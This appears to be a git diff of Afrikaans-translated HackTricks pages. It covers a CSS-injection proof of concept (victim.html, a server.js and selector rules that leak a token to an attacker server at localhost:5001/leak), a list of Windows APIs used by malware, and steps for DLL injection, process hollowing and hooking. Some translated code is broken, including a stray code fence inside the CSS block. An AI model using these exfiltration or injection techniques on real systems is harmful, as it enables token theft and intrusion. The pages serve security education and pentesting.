Vind kwesbaarhede wat die belangrikste is sodat jy dit vinniger kan regstel. Intruder volg jou aanvalsoppervlak, voer proaktiewe dreigingsskanderings uit, vind probleme regoor jou hele tegnologie-stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit vandag nog gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy in HackTricks wil adverteer** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,26 +2,18 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Vind kwesbaarhede wat die belangrikste is sodat jy hulle vinniger kan regstel. Intruder volg jou aanvalsoppervlak, voer proaktiewe dreigingsskanderings uit, vind probleme regoor jou hele tegnologie-stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit vandag gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
{% code title="victim.html" %}
|
||||
```html
|
||||
<!doctype html>
|
||||
|
@ -32,6 +24,8 @@ Vind kwesbaarhede wat die belangrikste is sodat jy hulle vinniger kan regstel. I
|
|||
@import url('//localhost:5001/start?');
|
||||
</style>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
{% code title="server.js" %}
|
||||
```javascript
|
||||
const http = require('http');
|
||||
|
@ -202,6 +196,7 @@ input[value$="4"]{--e0:url(http://localhost:5001/leak?post=4)}
|
|||
input[value$="5"]{--e0:url(http://localhost:5001/leak?post=5)}
|
||||
input[value$="6"]{--e0:url(http://localhost:5001/leak?post=6)}
|
||||
input[value$="7"]{--e0:url(http://localhost:5001/leak?post=7)}
|
||||
```markdown
|
||||
input[value$="8"]{--e0:url(http://localhost:5001/leak?post=8)}
|
||||
input[value$="9"]{--e0:url(http://localhost:5001/leak?post=9)}
|
||||
input[value$="a"]{--e0:url(http://localhost:5001/leak?post=a)}
|
||||
|
@ -230,24 +225,19 @@ input[value^="f"]{--s0:url(http://localhost:5001/leak?pre=f)}
|
|||
input{border-image:var(--s0)}
|
||||
input[value=]{list-style:url(http://localhost:5001/end?token=&)};
|
||||
*/
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Vind kwesbaarhede wat die belangrikste is sodat jy dit vinniger kan regmaak. Intruder volg jou aanvalsoppervlak, voer proaktiewe dreigingsskanderings uit, vind probleme regoor jou hele tegnologie-stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit vandag nog gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks-uitrusting**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kontroleer die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,30 +1,3 @@
|
|||
<details>
|
||||
# Radio Hak
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking-truuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-opslagplekke.
|
||||
|
||||
</details>
|
||||
Hierdie gids bevat tegnieke en inligting oor die hak van radio kommunikasie.
|
||||
|
|
|
@ -1,31 +1,24 @@
|
|||
# Algemene API wat in Malware gebruik word
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslagplekke.
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
## Generies
|
||||
|
||||
Vind kwesbaarhede wat die belangrikste is sodat jy dit vinniger kan regstel. Intruder volg jou aanvalsoppervlak, voer proaktiewe dreigingsskanderings uit, vind probleme regoor jou hele tegnologie-stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit vandag nog gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
|
||||
### Netwerke
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
|
||||
# Generies
|
||||
|
||||
## Netwerking
|
||||
|
||||
| Rou Sokkels | WinAPI Sokkels |
|
||||
| Rou Sockets | WinAPI Sockets |
|
||||
| ------------- | -------------- |
|
||||
| socket() | WSAStratup() |
|
||||
| bind() | bind() |
|
||||
|
@ -36,7 +29,7 @@ Vind kwesbaarhede wat die belangrikste is sodat jy dit vinniger kan regstel. Int
|
|||
| write() | send() |
|
||||
| shutdown() | WSACleanup() |
|
||||
|
||||
## Volharding
|
||||
### Volharding
|
||||
|
||||
| Registreer | Lêer | Diens |
|
||||
| ---------------- | ------------- | ---------------------------- |
|
||||
|
@ -46,7 +39,7 @@ Vind kwesbaarhede wat die belangrikste is sodat jy dit vinniger kan regstel. Int
|
|||
| RegDeleteKeyEx() | WriteFile() | |
|
||||
| RegGetValue() | ReadFile() | |
|
||||
|
||||
## Enkripsie
|
||||
### Versleuteling
|
||||
|
||||
| Naam |
|
||||
| --------------------- |
|
||||
|
@ -57,9 +50,9 @@ Vind kwesbaarhede wat die belangrikste is sodat jy dit vinniger kan regstel. Int
|
|||
| CryptDecrypt() |
|
||||
| CryptReleaseContext() |
|
||||
|
||||
## Anti-Analise/VM
|
||||
### Anti-Analise/VM
|
||||
|
||||
| Funksienaam | Monteerinstructies |
|
||||
| Funksienaam | Monteerinstruksies |
|
||||
| --------------------------------------------------------- | --------------------- |
|
||||
| IsDebuggerPresent() | CPUID() |
|
||||
| GetSystemInfo() | IN() |
|
||||
|
@ -68,21 +61,21 @@ Vind kwesbaarhede wat die belangrikste is sodat jy dit vinniger kan regstel. Int
|
|||
| CreateToolhelp32Snapshot \[Kyk of 'n proses loop] | |
|
||||
| CreateFileW/A \[Kyk of 'n lêer bestaan] | |
|
||||
|
||||
## Versteek
|
||||
### Steelsheid
|
||||
|
||||
| Naam | |
|
||||
| ------------------------ | -------------------------------------------------------------------------- |
|
||||
| VirtualAlloc | Allokeer geheue (pakkers) |
|
||||
| VirtualProtect | Verander geheue toestemming (pakker gee uitvoeringsregte aan 'n afdeling) |
|
||||
| ReadProcessMemory | Injeksie in eksterne prosesse |
|
||||
| WriteProcessMemoryA/W | Injeksie in eksterne prosesse |
|
||||
| VirtualAlloc | Allokasie van geheue (pakkers) |
|
||||
| VirtualProtect | Verander geheue toestemming (pakker gee uitvoeringsreg aan 'n afdeling) |
|
||||
| ReadProcessMemory | Inspruiting in eksterne prosesse |
|
||||
| WriteProcessMemoryA/W | Inspruiting in eksterne prosesse |
|
||||
| NtWriteVirtualMemory | |
|
||||
| CreateRemoteThread | DLL/Prosesinjeksie... |
|
||||
| CreateRemoteThread | DLL/Proses inspuiting... |
|
||||
| NtUnmapViewOfSection | |
|
||||
| QueueUserAPC | |
|
||||
| CreateProcessInternalA/W | |
|
||||
|
||||
## Uitvoering
|
||||
### Uitvoering
|
||||
|
||||
| Funksienaam |
|
||||
| ---------------- |
|
||||
|
@ -92,11 +85,11 @@ Vind kwesbaarhede wat die belangrikste is sodat jy dit vinniger kan regstel. Int
|
|||
| ResumeThread |
|
||||
| NtResumeThread |
|
||||
|
||||
## Verskeidenheid
|
||||
### Verskeidenheid
|
||||
|
||||
* GetAsyncKeyState() -- Sleutelloggery
|
||||
* SetWindowsHookEx -- Sleutelloggery
|
||||
* GetForeGroundWindow -- Kry die naam van die lopende venster (of die webwerf van 'n blaaier)
|
||||
* GetAsyncKeyState() -- Sleutellogging
|
||||
* SetWindowsHookEx -- Sleutellogging
|
||||
* GetForeGroundWindow -- Kry die lopende vensternaam (of die webwerf van 'n blaaier)
|
||||
* LoadLibrary() -- Importeer biblioteek
|
||||
* GetProcAddress() -- Importeer biblioteek
|
||||
* CreateToolhelp32Snapshot() -- Lys lopende prosesse
|
||||
|
@ -105,11 +98,11 @@ Vind kwesbaarhede wat die belangrikste is sodat jy dit vinniger kan regstel. Int
|
|||
* InternetOpen(), InternetOpenUrl(), InternetReadFile(), InternetWriteFile() -- Toegang tot die internet
|
||||
* FindResource(), LoadResource(), LockResource() -- Toegang tot hulpbronne van die uitvoerbare lêer
|
||||
|
||||
# Malware Tegnieke
|
||||
## Malware Tegnieke
|
||||
|
||||
## DLL-Injeksie
|
||||
### DLL Inspruiting
|
||||
|
||||
Voer 'n willekeurige DLL uit binne 'n ander proses
|
||||
Voer 'n willekeurige DLL binne 'n ander proses uit
|
||||
|
||||
1. Vind die proses om die skadelike DLL in te spuit: CreateToolhelp32Snapshot, Process32First, Process32Next
|
||||
2. Maak die proses oop: GetModuleHandle, GetProcAddress, OpenProcess
|
||||
|
@ -118,12 +111,12 @@ Voer 'n willekeurige DLL uit binne 'n ander proses
|
|||
|
||||
Ander funksies om te gebruik: NTCreateThreadEx, RtlCreateUserThread
|
||||
|
||||
## Reflektiewe DLL-Injeksie
|
||||
### Reflektiewe DLL Inspruiting
|
||||
|
||||
Laai 'n skadelike DLL sonder om normale Windows API-oproepe te maak.\
|
||||
Die DLL word gekaart binne 'n proses, dit sal die invoeradressering oplos, die herlokasies regstel en die DllMain-funksie aanroep.
|
||||
Die DLL word binne 'n proses afgebeeld, dit sal die invoeradresse oplos, die herlokalisasies regstel en die DllMain-funksie aanroep.
|
||||
|
||||
## Draadkaping
|
||||
### Draad Ontvoering
|
||||
|
||||
Vind 'n draad van 'n proses en maak dit 'n skadelike DLL laai
|
||||
|
||||
|
@ -131,25 +124,40 @@ Vind 'n draad van 'n proses en maak dit 'n skadelike DLL laai
|
|||
2. Maak die draad oop: OpenThread
|
||||
3. Stel die draad op: SuspendThread
|
||||
4. Skryf die pad na die skadelike DLL binne die slagofferproses: VirtualAllocEx, WriteProcessMemory
|
||||
5. Hervat die draad deur die biblioteek te laai: ResumeThread
|
||||
5. Hervat die draad wat die biblioteek laai: ResumeThread
|
||||
|
||||
## PE-Injeksie
|
||||
### PE Inspruiting
|
||||
|
||||
Portable Execution Injeksie: Die uitvoerbare lêer sal geskryf word in die geheue van die slagofferproses en van daar af uitgevoer word.
|
||||
Portable Uitvoering Inspruiting: Die uitvoerbare lêer sal in die geheue van die slagofferproses geskryf word en van daar af uitgevoer word.
|
||||
|
||||
## Prosesholing
|
||||
### Proses Uitholling
|
||||
|
||||
Die malware sal die wettige kode uit die geheue van die proses uitkoppel en 'n skadelike binêre lêer laai
|
||||
Die malware sal die wettige kode van die geheue van die proses afkoppel en 'n skadelike binêre lêer laai
|
||||
|
||||
1. Skep 'n nuwe proses: CreateProcess
|
||||
2. Skakel die geheue uit: ZwUnmapViewOfSection, NtUnmapViewOfSection
|
||||
2. Ontkoppel die geheue: ZwUnmapViewOfSection, NtUnmapViewOfSection
|
||||
3. Skryf die skadelike binêre lêer in die prosesgeheue: VirtualAllocEc, WriteProcessMemory
|
||||
4. Stel die intreepunt in en voer uit: SetThreadContext, ResumeThread
|
||||
4. Stel die ingangspunt en voer uit: SetThreadContext, ResumeThread
|
||||
|
||||
# Haak
|
||||
## Haak
|
||||
|
||||
* Die **SSDT** (**System Service Descriptor Table**) wys na kernel-funksies (ntoskrnl.exe) of GUI-bestuurder (win32k.sys) sodat gebruikersprosesse hierdie funksies kan aanroep.
|
||||
* 'n Rootkit kan hierdie wysers wysig na adresse wat hy beheer
|
||||
* **
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacking truuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Die **SSDT** (**System Service Descriptor Table**) wys na kernelfunksies (ntoskrnl.exe) of GUI-bestuurder (win32k.sys) sodat gebruikersprosesse hierdie funksies kan aanroep.
|
||||
* 'n rootkit kan hierdie wysers na adresse wat hy beheer, wysig
|
||||
* **IRP** (**I/O Aanvraagpakkette**) stuur stukke data van die een komponent na die ander. Amper alles in die kernel gebruik IRPs en elke toestelobjek het sy eie funksietabel wat gehaak kan word: DKOM (Direkte Kernelobjekmanipulasie)
|
||||
* Die **IAT** (**Invoeradrestabel**) is nuttig om afhanklikhede op te los. Dit is moontlik om hierdie tabel te haak om die kode wat geroep sal word, te ontvoer.
|
||||
* **EAT** (**Uitvoeradrestabel**) Haak. Hierdie hake kan vanuit **gebruikersruimte** gedoen word. Die doel is om uitgevoerde funksies deur DLLs te haak.
|
||||
* **Inline Hake**: Hierdie tipe is moeilik om te bereik. Dit behels die wysiging van die kode van die funksies self. Miskien deur 'n sprong aan die begin van hierdie te plaas.
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS hak vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling van eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord groep**](https://discord.gg/hRep4RUj7f) of die [**telegram groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,131 +1,82 @@
|
|||
# Reversing Tools & Basiese Metodes
|
||||
# Omkeerhulpmiddels & Basiese Metodes
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Ander maniere om HackTricks te ondersteun:
|
||||
|
||||
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat**, kyk na die [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Ontdek [**The PEASS Family**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
* Ontdek [**Die PEASS-familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFT's**](https://opensea.io/collection/the-peass-family)
|
||||
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Deel jou haktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Vind kwesbaarhede wat die belangrikste is sodat jy dit vinniger kan regstel. Intruder volg jou aanvalsoppervlak, voer proaktiewe dreigingsskanderings uit, vind probleme regoor jou hele tegnologie-stapel, van API's tot webtoepassings en wolkstelsels. [**Probeer dit vandag nog gratis**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks).
|
||||
|
||||
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
|
||||
|
||||
***
|
||||
|
||||
## ImGui-gebaseerde omkeerhulpmiddels
|
||||
## ImGui-gebaseerde Omkeerhulpmiddels
|
||||
|
||||
Sagteware:
|
||||
|
||||
* ReverseKit: [https://github.com/zer0condition/ReverseKit](https://github.com/zer0condition/ReverseKit)
|
||||
|
||||
## Wasm-ontleder / Wat-kompilator
|
||||
## Wasm decompiler / Wat-kompilator
|
||||
|
||||
Aanlyn:
|
||||
|
||||
* Gebruik [https://webassembly.github.io/wabt/demo/wasm2wat/index.html](https://webassembly.github.io/wabt/demo/wasm2wat/index.html) om van wasm (binêre) na wat (duidelike teks) te **ontleed**
|
||||
* Gebruik [https://webassembly.github.io/wabt/demo/wat2wasm/](https://webassembly.github.io/wabt/demo/wat2wasm/) om van wat na wasm te **kompileer**
|
||||
* Jy kan ook probeer om [https://wwwg.github.io/web-wasmdec/](https://wwwg.github.io/web-wasmdec/) te gebruik om te ontleed
|
||||
* Gebruik [https://webassembly.github.io/wabt/demo/wasm2wat/index.html](https://webassembly.github.io/wabt/demo/wasm2wat/index.html) om te **decompileer** vanaf wasm (binêr) na wat (teks)
|
||||
* Gebruik [https://webassembly.github.io/wabt/demo/wat2wasm/](https://webassembly.github.io/wabt/demo/wat2wasm/) om te **kompileer** vanaf wat na wasm
|
||||
* Jy kan ook probeer om [https://wwwg.github.io/web-wasmdec/](https://wwwg.github.io/web-wasmdec/) te decompileer
|
||||
|
||||
Sagteware:
|
||||
|
||||
* [https://www.pnfsoftware.com/jeb/demo](https://www.pnfsoftware.com/jeb/demo)
|
||||
* [https://github.com/wwwg/wasmdec](https://github.com/wwwg/wasmdec)
|
||||
|
||||
## .Net-ontleder
|
||||
## .Net decompiler
|
||||
|
||||
### [dotPeek](https://www.jetbrains.com/decompiler/)
|
||||
|
||||
